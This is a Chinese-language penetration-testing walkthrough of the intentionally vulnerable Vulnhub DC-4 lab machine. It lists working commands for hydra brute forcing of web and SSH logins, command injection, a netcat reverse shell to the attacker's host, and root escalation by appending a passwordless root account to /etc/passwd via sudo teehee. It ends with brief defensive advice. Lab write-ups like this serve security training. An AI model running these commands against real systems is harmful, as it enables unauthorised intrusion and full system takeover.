Vulnhub--DC-4
字数 1112 2025-08-11 21:26:29
Vulnhub DC-4 渗透测试实战教学文档
一、靶机部署
-
下载靶机:
- 下载地址:https://download.vulnhub.com/dc/DC-4.zip
- 解压后导入.ova文件到虚拟机(导入过程中的错误可忽略)
-
网络配置:
- 推荐使用NAT模式
- 启动靶机
二、信息收集阶段
1. 发现靶机IP
arp-scan -l
- 示例结果:靶机IP为192.168.237.147
2. 端口扫描
nmap -A -T4 -p- 192.168.237.147
- 发现开放端口:
- 22/tcp - SSH服务
- 80/tcp - HTTP服务
3. Web服务枚举
- 访问http://192.168.237.147
- 进行目录爆破(无显著收获)
- 发现登录页面,预设用户名为"admin"
三、Web应用渗透
1. 密码爆破
- 使用Burp Suite拦截登录请求
- 发现凭证以明文传输
- 使用hydra爆破密码:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.237.147 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -vV- 成功爆破出密码:"happy"
2. 命令注入漏洞
- 使用admin/happy登录
- 进入"Command"功能页面
- 发现"Run"按钮执行命令
- 使用Burp Suite拦截请求,发现执行的是"ls -l"命令
- 修改请求参数实现命令注入
四、获取初始立足点
1. 反弹Shell
- 攻击机开启监听:
nc -lvvp 4444 - 通过命令注入执行:
nc -e /bin/bash 192.168.237.148 4444 - 获取交互式Shell:
python -c "import pty;pty.spawn('/bin/bash')"
2. 权限确认
whoami
- 确认当前为低权限用户
五、横向移动
1. 枚举系统用户
ls /home
- 发现三个用户:jim, charles, [第三个用户]
2. 查找敏感文件
find / -perm -u=s -type f 2>/dev/null
- 检查SUID文件(无显著发现)
3. 发现jim用户的密码文件
ls -la /home/jim
- 在/home/jim/backups目录下发现password文件
- 查看内容获取密码字典
4. 爆破SSH服务
hydra -l jim -P /home/jim/backups/pass.txt 192.168.237.147 ssh
- 成功爆破出jim用户的密码
5. 获取charles用户凭证
- 登录jim用户:
ssh jim@192.168.237.147 - 检查邮件:
cat /var/mail/jim- 发现charles用户发送的邮件包含其密码
六、权限提升
1. 切换到charles用户
ssh charles@192.168.237.147
2. 检查sudo权限
sudo -l
- 发现可以使用teehee命令以root权限执行
3. 利用teehee提权
- 查看teehee帮助:
teehee --help - 添加root权限用户:
echo "HK::0:0:::/bin/bash" | sudo teehee -a /etc/passwd - 切换到新用户:
su HK - 确认权限:
whoami
七、获取flag
cd /root
ls
cat flag.txt
八、技术总结
-
信息收集:
- 网络扫描(arp-scan, nmap)
- Web目录枚举
-
Web渗透:
- 登录表单爆破
- 命令注入漏洞利用
-
后渗透技术:
- 反弹Shell获取初始访问
- 密码字典获取与利用
- 邮件信息收集
- Sudo权限滥用提权
-
工具使用:
- hydra密码爆破
- netcat反弹Shell
- sudo特权命令利用
九、防御建议
- 避免使用弱密码
- 对敏感操作进行输入验证
- 最小化sudo权限
- 避免在邮件中传输敏感信息
- 定期检查系统SUID文件和sudo权限配置